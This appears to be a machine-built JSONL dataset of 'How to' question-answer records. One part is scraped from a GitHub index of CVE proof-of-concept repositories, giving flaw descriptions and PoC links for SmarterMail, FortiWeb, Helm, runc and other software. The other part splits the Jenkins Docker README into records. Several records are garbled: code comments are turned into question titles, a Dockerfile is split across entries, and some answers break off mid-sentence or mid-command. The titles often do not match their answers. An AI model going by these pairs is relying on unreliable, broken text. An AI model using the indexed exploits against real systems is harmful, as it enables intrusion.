{"id": "gh_9a55db12b0d5", "question": "How to: CVE-2025-52413", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [GoldenTicketLabs/CVE-2025-52413](https://github.com/GoldenTicketLabs/CVE-2025-52413)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156984"}
{"id": "gh_5d57ef81eae8", "question": "How to: CVE-2025-52488 (2025-06-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n```\n- [SystemVll/CVE-2025-52488](https://github.com/SystemVll/CVE-2025-52488)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156991"}
{"id": "gh_0a7265864fd5", "question": "How to: CVE-2025-52688 (2025-07-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the vulnerability could allow an attacker to inject commands with root privileges on the access point, potentially leading to the loss of confidentiality, integrity, availability, and full control of the access point.\n```\n- [joelczk/CVE-2025-52688](https://github.com/joelczk/CVE-2025-52688)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156995"}
{"id": "gh_825bd1f8921c", "question": "How to: CVE-2025-52689 (2025-07-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the vulnerability could allow an unauthenticated attacker to obtain a valid session ID with administrator privileges by spoofing the login request, potentially allowing the attacker to modify the behaviour of the access point.\n```\n- [UltimateHG/CVE-2025-52689-PoC](https://github.com/UltimateHG/CVE-2025-52689-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157001"}
{"id": "gh_aaf9447868ef", "question": "How to: CVE-2025-52691 (2025-12-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the vulnerability could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution.\n```\n- [yt2w/CVE-2025-52691](https://github.com/yt2w/CVE-2025-52691)\n- [rxerium/CVE-2025-52691](https://github.com/rxerium/CVE-2025-52691)\n- [Ashwesker/Ashwesker-CVE-2025-52691](https://github.com/Ashwesker/Ashwesker-CVE-2025-52691)\n- [you-ssef9/CVE-2025-52691](https://github.com/you-ssef9/CVE-2025-52691)\n- [DeathShotXD/CVE-2025-52691-APT-PoC](https://github.com/DeathShotXD/CVE-2025-52691-APT-PoC)\n- [sajjadsiam/CVE-2025-52691-poc](https://github.com/sajjadsiam/CVE-2025-52691-poc)\n- [hilwa24/CVE-2025-52691](https://github.com/hilwa24/CVE-2025-52691)\n- [nxgn-kd01/smartermail-cve-scanner](https://github.com/nxgn-kd01/smartermail-cve-scanner)\n- [watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691](https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157007"}
{"id": "gh_0fbdaef124fc", "question": "How to: CVE-2025-52692 (2025-12-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the vulnerability could allow an attacker with local network access to send a specially crafted URL to access certain administration functions without login credentials.\n```\n- [yt2w/CVE-2025-52692](https://github.com/yt2w/CVE-2025-52692)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157011"}
{"id": "gh_ceea39960b78", "question": "How to: CVE-2025-52694 (2026-01-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the SQL injection vulnerability could allow an unauthenticated remote attacker to execute arbitrary SQL commands on the vulnerable service when it is exposed to the Internet.\n```\n- [Winz18/CVE-2025-52694-POC](https://github.com/Winz18/CVE-2025-52694-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157017"}
{"id": "gh_70f1d09834fb", "question": "How to: CVE-2025-52881 (2025-11-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nrunc is a CLI tool for spawning and running containers according to the OCI specification. In versions 1.2.7, 1.3.2 and 1.4.0-rc.2, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (we have also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. While similar, the mitigation applied for the related CVE, CVE-2019-19921, was fairly limited and effectively only caused runc to verify that when LSM labels are written they are actually procfs files. This issue is fixed in versions 1.2.8, 1.3.3, and 1.4.0-rc.3.\n```\n- [jq6l43d1/proxmox-lxc-docker-fix](https://github.com/jq6l43d1/proxmox-lxc-docker-fix)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157022"}
{"id": "gh_b839fac76fbb", "question": "How to: CVE-2025-52914 (2025-08-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the Suite Applications Services component of Mitel MiCollab 10.0 through SP1 FP1 (10.0.1.101) could allow an authenticated attacker to conduct a SQL Injection attack due to insufficient validation of user input. A successful exploit could allow an attacker to execute arbitrary SQL database commands.\n```\n- [rxerium/CVE-2025-52914](https://github.com/rxerium/CVE-2025-52914)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157029"}
{"id": "gh_a4564986bd7f", "question": "How to: CVE-2025-52915 (2025-09-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nK7RKScan.sys 23.0.0.10, part of the K7 Security Anti-Malware suite, allows an admin-privileged user to send crafted IOCTL requests to terminate processes that are protected through a third-party implementation. This is caused by insufficient caller validation in the driver's IOCTL handler, enabling unauthorized processes to perform those actions in kernel space. Successful exploitation can lead to denial of service by disrupting critical third-party services or applications.\n```\n- [BlackSnufkin/BYOVD](https://github.com/BlackSnufkin/BYOVD)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157034"}
{"id": "gh_40488292eb07", "question": "How to: CVE-2025-52970 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.\n```\n- [Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass](https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass)\n- [34zY/CVE-2025-52970](https://github.com/34zY/CVE-2025-52970)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157039"}
{"id": "gh_350631edb9c5", "question": "How to: CVE-2025-53020 (2025-07-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLate Release of Memory after Effective Lifetime vulnerability in Apache HTTP Server.\\n\\nThis issue affects Apache HTTP Server: from 2.4.17 up to 2.4.63.\\n\\nUsers are recommended to upgrade to version 2.4.64, which fixes the issue.\n```\n- [galbarnahum/CVE-2025-53020-PoC](https://github.com/galbarnahum/CVE-2025-53020-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157043"}
{"id": "gh_b9c244ddecc0", "question": "How to: CVE-2025-53136 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExposure of sensitive information to an unauthorized actor in Windows NT OS Kernel allows an authorized attacker to disclose information locally.\n```\n- [nu1lptr0/CVE-2025-53136](https://github.com/nu1lptr0/CVE-2025-53136)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157047"}
{"id": "gh_16a9f526df9a", "question": "How to: CVE-2025-53367 (2025-07-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDjVuLibre is a GPL implementation of DjVu, a web-centric format for distributing documents and images. Prior to version 3.5.29, the MMRDecoder::scanruns method is affected by an OOB-write vulnerability, because it does not check that the xr pointer stays within the bounds of the allocated buffer. This can lead to writes beyond the allocated memory, resulting in a heap corruption condition. An out-of-bounds read with pr is also possible for the same reason. This issue has been patched in version 3.5.29.\n```\n- [kevinbackhouse/DjVuLibre-poc-CVE-2025-53367](https://github.com/kevinbackhouse/DjVuLibre-poc-CVE-2025-53367)\n- [ThePhykon/CVE-2025-53367-POC](https://github.com/ThePhykon/CVE-2025-53367-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157052"}
{"id": "gh_6bd12d974634", "question": "How to: CVE-2025-53547 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nHelm is a package manager for Charts for Kubernetes. Prior to 3.18.4, a specially crafted Chart.yaml file along with a specially linked Chart.lock file can lead to local code execution when dependencies are updated. Fields in a Chart.yaml file, that are carried over to a Chart.lock file when dependencies are updated and this file is written, can be crafted in a way that can cause execution if that same content were in a file that is executed (e.g., a bash.rc file or shell script). If the Chart.lock file is symlinked to one of these files updating dependencies will write the lock file content to the symlinked file. This can lead to unwanted execution. Helm warns of the symlinked file but did not stop execution due to symlinking. This issue has been resolved in Helm v3.18.4.\n```\n- [DVKunion/CVE-2025-53547-POC](https://github.com/DVKunion/CVE-2025-53547-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157057"}
{"id": "gh_d667adbd5e14", "question": "How to: CVE-2025-53558 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n```\n- [houqe/POC_CVE-2025-53558](https://github.com/houqe/POC_CVE-2025-53558)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157066"}
{"id": "gh_c410dded4fb8", "question": "How to: CVE-2025-53632 (2025-07-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nChall-Manager is a platform-agnostic system able to start Challenges on Demand of a player. When decoding a scenario (i.e. a zip archive), the path of the file to write is not checked, potentially leading to zip slips. Exploitation does not require authentication nor authorization, so anyone can exploit it. It should nonetheless not be exploitable as it is highly recommended to bury Chall-Manager deep within the infrastructure due to its large capabilities, so no users could reach the system. Patch has been implemented by commit 47d188f and shipped in v0.1.4.\n```\n- [pandatix/CVE-2025-53632](https://github.com/pandatix/CVE-2025-53632)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157071"}
{"id": "gh_51755efaee3c", "question": "How to: CVE-2025-53640 (2025-07-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIndico is an event management system that uses Flask-Multipass, a multi-backend authentication system for Flask. Starting in version 2.2 and prior to version 3.3.7, an endpoint used to display details of users listed in certain fields (such as ACLs) could be misused to dump basic user details (such as name, affiliation and email) in bulk. Version 3.3.7 fixes the issue. Owners of instances that allow everyon\n```", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.157076"}
{"id": "gh_a00cbd1ec2fe", "question": "How to: Backing up data", "question_body": "About jenkinsci/docker", "answer": "If you bind mount in a volume - you can simply back up that directory\n(which is jenkins_home) at any time.\n\nUsing a bind mount is not recommended since it can lead to permission issues. Treat the jenkins_home directory as you would a database - in Docker you would generally put a database on a volume.\n\nIf your volume is inside a container - you can use `docker cp $ID:/var/jenkins_home` command to extract the data, or other options to find where the volume data is.\nNote that some symlinks on some OSes may be converted to copies (this can confuse jenkins with lastStableBuild links, etc)\n\nFor more info check Docker docs section on [Use volumes](https://docs.docker.com/storage/volumes/)", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685815"}
{"id": "gh_2c61847e37ef", "question": "How to: Setting the number of executors", "question_body": "About jenkinsci/docker", "answer": "You can define the number of executors on the Jenkins built-in node using a groovy script.\nBy default it is set to 2 executors, but you can extend the image and change it to your desired number of executors (recommended 0 executors on the built-in node) :\n\n`executors.groovy`\n\n```\nimport jenkins.model.*\nJenkins.instance.setNumExecutors(0) // Recommended to not run builds on the built-in node\n```\n\nand `Dockerfile`\n\n```\nFROM jenkins/jenkins:lts\nCOPY --chown=jenkins:jenkins executors.groovy /usr/share/jenkins/ref/init.groovy.d/executors.groovy\n```", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685831"}
{"id": "gh_4ada9043bd27", "question": "How to: Connecting agents", "question_body": "About jenkinsci/docker", "answer": "You can run builds on the controller out of the box.\nThe Jenkins project recommends that no executors be enabled on the controller.\n\nIn order to connect agents **through an inbound TCP connection**, map the port: `-p 50000:50000`.\nThat port will be used when you connect agents to the controller.\n\nIf you are only using [SSH (outbound) build agents](https://plugins.jenkins.io/ssh-slaves/), this port is not required, as connections are established from the controller.\nIf you connect agents using web sockets (since Jenkins 2.217), the TCP agent port is not used either.", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685839"}
{"id": "gh_fd7b001ca693", "question": "How to: Passing JVM parameters", "question_body": "About jenkinsci/docker", "answer": "You might need to customize the JVM running Jenkins, typically to adjust [system properties](https://www.jenkins.io/doc/book/managing/system-properties/) or tweak heap memory settings.\nUse the `JAVA_OPTS` or `JENKINS_JAVA_OPTS` environment variables for this purpose :\n\n```\ndocker run --name myjenkins -p 8080:8080 -p 50000:50000 --restart=on-failure --env JAVA_OPTS=-Dhudson.footerURL=http://mycompany.com jenkins/jenkins:lts-jdk21\n```\n\nJVM options specifically for the Jenkins controller should be set through `JENKINS_JAVA_OPTS`, as other tools might also respond to the `JAVA_OPTS` environment variable.", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685845"}
{"id": "gh_0a809f9c4f83", "question": "How to: Configuring logging", "question_body": "About jenkinsci/docker", "answer": "Jenkins logging can be configured through a properties file and `java.util.logging.config.file` Java property.\nFor example:\n\n```\nmkdir data\ncat > data/log.properties <", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685851"}
{"id": "gh_4fe022b39a10", "question": "How to: Configuring reverse proxy", "question_body": "About jenkinsci/docker", "answer": "If you want to install Jenkins behind a reverse proxy with a prefix, example: mysite.com/jenkins, you need to add environment variable `JENKINS_OPTS=\"--prefix=/jenkins\"` and then follow the below procedures to configure your reverse proxy, which will depend if you have Apache or Nginx:\n\n- [Apache](https://www.jenkins.io/doc/book/system-administration/reverse-proxy-configuration-apache/)\n- [Nginx](https://www.jenkins.io/doc/book/system-administration/reverse-proxy-configuration-nginx/)", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685858"}
{"id": "gh_e63cd5b30f90", "question": "How to: DNS configuration", "question_body": "About jenkinsci/docker", "answer": "If the message \"This Jenkins instance appears to be offline.\" appears on first startup, and the container logs show lines such as `java.net.UnknownHostException: updates.jenkins.io`, your container may be having issues with resolving DNS names.\n\nTo potentially solve the issue, start the container specifying a dns server (for example Cloudflare's 1.1.1.1 or Google's 8.8.8.8, or any other DNS server):\n```\ndocker run -p 8080:8080 -p 50000:50000 --restart=on-failure --dns 1.1.1.1 --dns 8.8.8.8 jenkins/jenkins:lts-jdk21\n```", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685863"}
{"id": "gh_3494b323f037", "question": "How to: Passing Jenkins launcher parameters", "question_body": "About jenkinsci/docker", "answer": "Arguments you pass to docker running the Jenkins image are passed to jenkins launcher, so for example you can run:\n\n```\ndocker run jenkins/jenkins:lts-jdk21 --version\n```\n\nThis will show the Jenkins version, the same as when you run Jenkins from an executable war.\n\nYou can also define Jenkins arguments via `JENKINS_OPTS`. This is useful for customizing arguments to the jenkins\nlauncher in a derived Jenkins image. The following sample Dockerfile uses this option\nto force use of HTTPS with a certificate included in the image.\n\n```\nFROM jenkins/jenkins:lts-jdk21\n\nCOPY --chown=jenkins:jenkins certificate.pfx /var/lib/jenkins/certificate.pfx\nCOPY --chown=jenkins:jenkins https.key /var/lib/jenkins/pk\nENV JENKINS_OPTS=\"--httpPort=-1 --httpsPort=8083 --httpsKeyStore=/var/lib/jenkins/certificate.pfx --httpsKeyStorePassword=Password12\"\nEXPOSE 8083\n```\n\nYou can also change the default agent port for Jenkins by defining `JENKINS_SLAVE_AGENT_PORT` in a sample Dockerfile.\n\n```\nFROM jenkins/jenkins:lts-jdk21\nENV JENKINS_SLAVE_AGENT_PORT=50001\n```\n\nor as a parameter to docker,\n\n```\ndocker run --name myjenkins -p 8080:8080 -p 50001:50001 --restart=on-failure --env JENKINS_SLAVE_AGENT_PORT=50001 jenkins/jenkins:lts-jdk21\n```\n\n**Note**: This environment variable will be used to set the\n[system property](https://www.jenkins.io/doc/book/managing/system-properties/) `jenkins.model.Jenkins.slaveAgentPort`.\n\n> If this property is already set in **JAVA_OPTS** or **JENKINS_JAVA_OPTS**, then the value of\n> `JENKINS_SLAVE_AGENT_PORT` will be ignored.", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685872"}
{"id": "gh_dacddca79ce6", "question": "How to: Installing more tools", "question_body": "About jenkinsci/docker", "answer": "You can run your container as root - and install via apt-get, install as part of build steps via jenkins tool installers, or you can create your own Dockerfile to customise, for example:\n\n```\nFROM jenkins/jenkins:lts-jdk21", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685878"}
{"id": "gh_359c3711cbfb", "question": "How to: if we want to install via apt", "question_body": "About jenkinsci/docker", "answer": "USER root\nRUN apt-get update && apt-get install -y ruby make more-thing-here", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685883"}
{"id": "gh_a0f88cd80448", "question": "How to: drop back to the regular jenkins user - good practice", "question_body": "About jenkinsci/docker", "answer": "USER jenkins\n```\n\nIn such a derived image, you can customize your jenkins instance with hook scripts or additional plugins.\nFor this purpose, use `/usr/share/jenkins/ref` as a place to define the default JENKINS_HOME content you\nwish the target installation to look like :\n\n```\nFROM jenkins/jenkins:lts-jdk21\nCOPY --chown=jenkins:jenkins custom.groovy /usr/share/jenkins/ref/init.groovy.d/custom.groovy\n```\n\nIf you need to maintain the entire init.groovy.d directory and have a persistent JENKINS_HOME you may run the docker image with `-e PRE_CLEAR_INIT_GROOVY_D=true`", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685889"}
{"id": "gh_9a1b32d46cce", "question": "How to: Install plugins", "question_body": "About jenkinsci/docker", "answer": "You can rely on [the plugin manager CLI](https://github.com/jenkinsci/plugin-installation-manager-tool/) to pass a set of plugins to download with their dependencies. This tool will perform downloads from update centers, and internet access is required for the default update centers.", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685896"}
{"id": "gh_ffbd51b4433a", "question": "How to: Setting update centers", "question_body": "About jenkinsci/docker", "answer": "During the download, the CLI will use update centers defined by the following environment variables:\n\n- `JENKINS_UC` - Main update center.\n  This update center may offer plugin versions depending on the Jenkins LTS Core versions.\n  Default value: https://updates.jenkins.io\n- `JENKINS_UC_EXPERIMENTAL` - [Experimental Update Center](https://jenkins.io/blog/2013/09/23/experimental-plugins-update-center/).\n  This center offers Alpha and Beta versions of plugins.\n  Default value: https://updates.jenkins.io/experimental\n- `JENKINS_INCREMENTALS_REPO_MIRROR` -\n  Defines Maven mirror to be used to download plugins from the\n  [Incrementals repo](https://jenkins.io/blog/2018/05/15/incremental-deployment/).\n  Default value: https://repo.jenkins-ci.org/incrementals\n- `JENKINS_UC_DOWNLOAD` - Download url of the Update Center.\n  Default value: `$JENKINS_UC/download`\n- `JENKINS_PLUGIN_INFO` - Location of plugin information.\n  Default value: https://updates.jenkins.io/current/plugin-versions.json\n\nIt is possible to override the environment variables in images.\n\n:exclamation: Note that changing update center variables **will not** change the Update Center being used by Jenkins runtime, it concerns only the plugin manager CLI.", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685905"}
{"id": "gh_c09099124b57", "question": "How to: Installing Custom Plugins", "question_body": "About jenkinsci/docker", "answer": "Installing prebuilt, custom plugins can be accomplished by copying the plugin HPI file into `/usr/share/jenkins/ref/plugins/` within the `Dockerfile`:\n\n```\nCOPY --chown=jenkins:jenkins path/to/custom.hpi /usr/share/jenkins/ref/plugins/\n```", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685910"}
{"id": "gh_b7adcd8f6860", "question": "How to: Access logs", "question_body": "About jenkinsci/docker", "answer": "To enable Jenkins user access logs from Jenkins home directory inside a docker container, set the `JENKINS_OPTS` environment variable value to `--accessLoggerClassName=winstone.accesslog.SimpleAccessLogger --simpleAccessLogger.format=combined --simpleAccessLogger.file=/var/jenkins_home/logs/access_log`", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685920"}
{"id": "gh_cad37d335188", "question": "How to: Naming convention in tags", "question_body": "About jenkinsci/docker", "answer": "The naming convention for the tags on Docker Hub follows the format `\n:\n`, where the repository name is jenkins/jenkins and where the tag specifies the image version.\nIn the case of the LTS and latest versions, the tags are `lts` and `latest`, respectively.\n\nYou can use these tags to pull the corresponding Jenkins images from Docker Hub and run them on your system.\nFor example, to pull the LTS version of the Jenkins image use this command: `docker pull jenkins/jenkins:lts`", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685926"}
{"id": "gh_24a5382e9b45", "question": "How to: Docker Compose with Jenkins", "question_body": "About jenkinsci/docker", "answer": "To use Docker Compose with Jenkins, you can define a docker-compose.yml file including a Jenkins instance and any other services it depends on.\nFor example, the following docker-compose.yml file defines a Jenkins controller and a Jenkins SSH agent:\n\n```yaml\nservices:\n  jenkins:\n    image: jenkins/jenkins:lts\n    ports:\n      - \"8080:8080\"\n    volumes:\n      - jenkins_home:/var/jenkins_home\n  ssh-agent:\n    image: jenkins/ssh-agent\nvolumes:\n  jenkins_home:\n```\n\nThis `docker-compose.yml` file creates two containers: one for Jenkins and one for the Jenkins SSH agent.\n\nThe Jenkins container is based on the `jenkins/jenkins:lts` image and exposes the Jenkins web interface on port 8080.\nThe `jenkins_home` volume is a [named volume](https://docs.docker.com/storage/volumes/) that is created and managed by Docker.\n\nIt is mounted at `/var/jenkins_home` in the Jenkins container, and it will persist the Jenkins configuration and data.\n\nThe ssh-agent container is based on the `jenkins/ssh-agent` image and runs an SSH server to execute [Jenkins SSH Build Agent](https://plugins.jenkins.io/ssh-slaves/).\n\nTo start the Jenkins instance and the other services defined in the `docker-compose.yml` file, run the `docker compose up -d`.\n\nThis will pull the necessary images from Docker Hub if they are not already present on your system, and start the services in the background.\n\nYou can then access the Jenkins web interface on `http://localhost:8080` on your host system to configure and manage your Jenkins instance (where `localhost` points to the published port by your Docker Engine).\n\nNOTE: read the section [_DNS Configuration_](#dns-configuration) in case you see the message \"This Jenkins instance appears to be offline.\" In that case add the dns configuration to the yaml:\n```yaml\nservices:\n  jenkins:", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685934"}
